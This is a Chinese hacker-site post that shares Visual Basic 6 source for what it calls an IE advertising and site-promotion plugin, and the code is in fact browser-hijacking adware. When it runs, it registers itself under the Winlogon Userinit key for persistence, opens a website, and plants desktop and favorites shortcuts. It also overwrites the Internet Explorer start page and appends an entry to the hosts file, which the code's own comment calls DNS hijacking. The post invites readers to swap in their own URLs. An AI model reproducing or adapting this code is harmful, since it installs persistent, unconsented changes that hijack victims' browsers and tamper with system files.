vb写的IE插件，广告插件，网站宣传插件

vb写的IE插件，广告插件，网站宣传插件，在黑客X档案光盘中摘录的，嘿嘿,vb编程教程

在原文中他少定义了一个变量，我已经修复.怖客（http://www.bkhack.com）

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 'shellExecute API 声明
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long  'FindWindow API 声明
'--------------------------
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Const REG_SZ = 1
Const HKEY_LOCAL_MACHINE = &H80000002  '操作注册表所用API
'--------------------------
Private Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String) '操作注册表过程
Dim keyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, keyHand)
r = RegSetValueEx(keyHand, strValue, 0, REG_SZ, ByVal strData, LenB(StrConv(strData, vbFromUnicode)))
r = RegCloseKey(keyHand)
End Sub
Private Sub Form_Load()

Call run           '自启动
Call shellurl      '访问网站
Call Desktop       '添加到桌面快捷方式
Call IEFavorites   '收藏夹
Call StartPage     '修改主页
Call dnsurl        'dns劫持

End Sub

Sub shellurl() '访问网站
Dim URL
URL = ShellExecute(0, "", "http://www.bkhack.com", "", "", SW_SHOWMAXIMIZED) '实例为百度，根据情况修改。
End Sub

Sub Desktop() '添加到桌面快捷方式
Dim WshShell As Object, oUrlLink As Object '定义对象
Dim strDesktop As String '定义strDesktop为字符串
Set WshShell = CreateObject("WScript.Shell") '创建对象
strDesktop = WshShell.SpecialFolders("Desktop") '特殊文件夹路径
Set oUrlLink = WshShell.CreateShortcut(strDesktop & "\娱乐.url") '广告名字 自行修改
oUrlLink.TargetPath = "http://www.topjishu.com" '广告链接 百度代替
oUrlLink.Save
Set oUrlLink = Nothing
Set WshShell = Nothing
End Sub

Sub IEFavorites() '收藏夹
Dim WshShell As Object, oUrlLink As Object
Dim strFavorites As String
Set WshShell = CreateObject("WScript.Shell")
strFavorites = WshShell.SpecialFolders("Favorites") '收藏夹
Set oUrlLink = WshShell.CreateShortcut(strFavorites & "\娱乐.url")
oUrlLink.TargetPath = "http://www.8color.net"
oUrlLink.Save
Set oUrlLink = Nothing
Set WshShell = Nothing
End Sub

Sub StartPage() '修改主页
Set r = CreateObject("wscript.shell")
r.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http://www.8color.net"
End Sub

Sub dnsurl()
Dim dnsurl As String
Open "C:\WINDOWS\system32\drivers\etc" & "\hosts" For Append As #1
dnsurl = dnsurl + "127.0.0.1     www.8color.net" + vbCrLf  '本机IP解析到我小站
Print #1, dnsurl
End Sub

Sub run() 'Userinit启动
SaveString HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "C:\WINDOWS\system32\userinit.exe," & App.Path & "\" & App.EXEName & ".exe"
End Sub